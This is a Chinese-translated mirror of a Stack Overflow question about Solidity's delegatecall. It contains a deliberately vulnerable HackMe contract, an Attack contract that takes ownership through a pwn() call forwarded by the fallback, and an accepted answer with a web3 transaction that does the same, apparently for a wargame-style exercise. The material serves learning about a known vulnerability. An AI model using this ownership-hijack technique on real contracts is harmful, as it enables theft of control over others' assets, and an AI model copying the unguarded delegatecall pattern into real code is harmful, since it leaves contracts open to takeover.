首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >delegateCall在实体理解案例中的应用

delegateCall在实体理解案例中的应用
EN

Stack Overflow用户
提问于 2022-04-10 19:14:35
回答 1查看 465关注 0票数 0
代码语言:javascript
复制
pragma solidity ^0.8.10;

/*
HackMe is a contract that uses delegatecall to execute code.
It it is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;
    /*bool public fallbackCalisti;
    bytes public encodedData= abi.encodeWithSignature("pwn()");
    bytes public msgDatainFallback;*/


    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        //fallbackCalisti= true;
        //msgDatainFallback= msg.data;

        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

因此,上面的代码是通过注释来描述的,我想要做的是通过发送一些ether来改变HackMe合同的所有者,从而触发它的回退功能,而不使用攻击契约。所以我所做的是,我用0xdd365b8b的数据处理了1以太到HackMe的合同,这是攻击契约的攻击函数中调用的abi.encodeWithSignature("pwn()")的字节表示。但是,它不会改变所有者,尽管我成功地触发了HackMe合同中的回退功能。有人能帮我吗?提前谢谢。https://i.stack.imgur.com/aPtlq.png I和一个以太在图像中一样处理。

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2022-04-21 14:14:19

在使用6.代表团与CALLDATA的低级别交互时,我遇到了类似的问题。

一个简单的解决方案是使用web3而不是使用混合调用函数。

这对我起了作用:

代码语言:javascript
复制
await web3.eth.sendTransaction({
  from: player, // your address
  to: contract.address, // address of HackMe contract,
  value: web3.toWei(1, "ether"),
  data: web3.eth.abi.encodeFunctionSignature('pwn()')
});
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/71819788

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档